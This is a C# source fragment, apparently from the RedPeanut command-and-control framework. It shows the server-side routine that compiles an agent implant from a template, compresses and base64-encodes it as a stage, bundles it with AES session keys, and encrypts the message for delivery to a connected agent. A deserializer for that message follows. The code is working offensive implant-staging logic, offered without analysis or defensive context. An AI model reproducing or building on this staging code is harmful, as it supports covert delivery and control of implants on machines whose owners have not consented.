//Send agentid
//RC4 with serverkey
private string CreateMsgAgentId(IAgentInstance agent, string serverkey, int profileid, int targetframework)
{
string mesg = "";
string folderrpath = Path.Combine(Directory.GetCurrentDirectory(), WORKSPACE_FOLDER, TEMPLATE_FOLDER);
if (Program.GetC2Manager().GetC2Server().GetProfiles().ContainsKey(profileid))
{
AesManaged aes = agent.AesManager;
AgentIdMsg msg = new AgentIdMsg
{
agentid = agent.AgentId,
sessionkey = aes.Key,
sessioniv = aes.IV
};
HttpProfile profile = Program.GetC2Manager().GetC2Server().GetProfile(profileid);
ListenerConfig conf = new ListenerConfig("", ((AgentInstanceHttp)agent).GetAddress(), ((AgentInstanceHttp)agent).GetPort(), profile, profileid);
string source = System.IO.File.ReadAllText(Path.Combine(folderrpath, AGENT_TEMPLATE));
source = Replacer.ReplaceAgentProfile(source, RedPeanut.Program.GetServerKey(), targetframework, conf);
msg.stage = Convert.ToBase64String(CompressGZipAssembly(Builder.BuidStreamAssembly(source, agent.AgentId + ".dll", targetframework, compprofile: CompilationProfile.Agent)));
string agentidnmsg = JsonConvert.SerializeObject(msg, Formatting.Indented);
mesg = EncryptMessage(serverkey, agentidnmsg);
}
return(mesg);
}
public static AgentIdMsg GetAgentId(string json)
{
AgentIdMsg task = new AgentIdMsg();
try
{
task = new JavaScriptSerializer().Deserialize <AgentIdMsg>(json);
//task = JsonConvert.DeserializeObject<AgentIdMsg>(json);
}
catch (Exception)
{
}
return(task);
}